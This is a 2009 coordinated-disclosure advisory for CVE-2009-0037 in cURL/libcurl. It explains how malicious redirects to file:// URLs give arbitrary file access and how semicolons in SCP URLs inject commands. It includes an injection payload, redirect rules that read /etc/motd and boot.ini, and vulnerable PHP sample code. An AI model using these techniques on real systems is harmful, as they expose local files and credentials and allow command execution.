Curl/Libcurl Arbitrary File Access

Release date: 03/Mar/2009
Last Modified: N/A
Author: David Kierznowski http://withdk.com
Application: cURL/libcURL
Risk: HIGH
CVE-2009-0037

Quote from: http://curl.haxx.se/libcurl/:
""libcurl is a free and easy-to-use client-side URL transfer library, supporting FTP, FTPS, HTTP, HTTPS, SCP, SFTP, TFTP, TELNET, DICT, LDAP, LDAPS and FILE."

Libcurl permits access to all supported protocols including 'file://'. This means an attacker could use malicious redirects to proxy attacks to internal IP addresses or gain arbitrary file access to the libcurl operating-system. The 'FOLLOWLOCATION' constant requires that PHPs safe_mode be disabled meaning less restrictions for the attacker.

The problem can also be exploited for uploading, if the rogue server redirects the client to a local file and thus it would (over)write a local file instead of sending it to the server.

libcurl compiled to support SCP can get tricked to get a file using embedded semicolons, which can lead to execution of commands on the given server. "Location: scp://name:passwd@host/a'``;date >/tmp/test``;'".

Files on servers other than the one running libcurl are also accessible when credentials for those servers are stored in the .netrc file of the user running libcurl. This is most common for FTP servers, but can occur with any protocol supported by libcurl. Files on remote SSH servers are also accessible when the user has an unencrypted SSH key.

A typical scenario for this vulnerability would be a libcurl client such as an RSS feed fetcher. The attacker creates a malicious redirect and then uses the libcurl client to fetch the feed. The feed fetcher displays arbitrary files as directed by the attackers redirect.

There are a number of code snippets online that suggest this vulnerability may be present in a number of software packages.

Vulnerable code example:

```
<?php

// This is an example of a vulnerable peice of PHP code
// If libcurl uses CURLOPT_FOLLOWLOCATION it could lead
// to arbitrary file access.

// The malicious redirect on withdk.com looks like this
// in .htaccess:
//      # for Linux
//      redirect 302 /test file:///etc/motd
//      # for Win32
//      redirect 302 /test file:///c:\boot.ini

// print_r ( curl_version() );
```

```
$c = new cc;

$c->fetch('http://withdk.com/malicious-redirect');

class cc {
   function fetch($url) {
      $ch = curl_init();
      curl_setopt($ch, CURLOPT_HEADER, 1);
      curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

      curl_setopt($ch, CURLOPT_URL, $url);
      $result1 = curl_exec($ch);

      echo $result1;

      curl_close($ch);
   }
}
?>
```

Disclosure information:
06/Feb/2009: Disclosed to vendor
12/Feb/2009: Vendor-Sec contacted by Curl
03/Mar/2009: Joint advisory release with Curl and new version released curl 7.19.4

Confirmed Versions Affected:

cURL CLI 7.19.3 (Built on Ubuntu 6.06 LTS) Affected
PHP libcurl 7.16.0 (WAMP 2.0 on Vista) Affected
PHP libcurl 7.15.1 (Ubuntu 6.06 LTS) Affected

References: Curl Advisory (http://curl.haxx.se/docs/adv_20090303.html)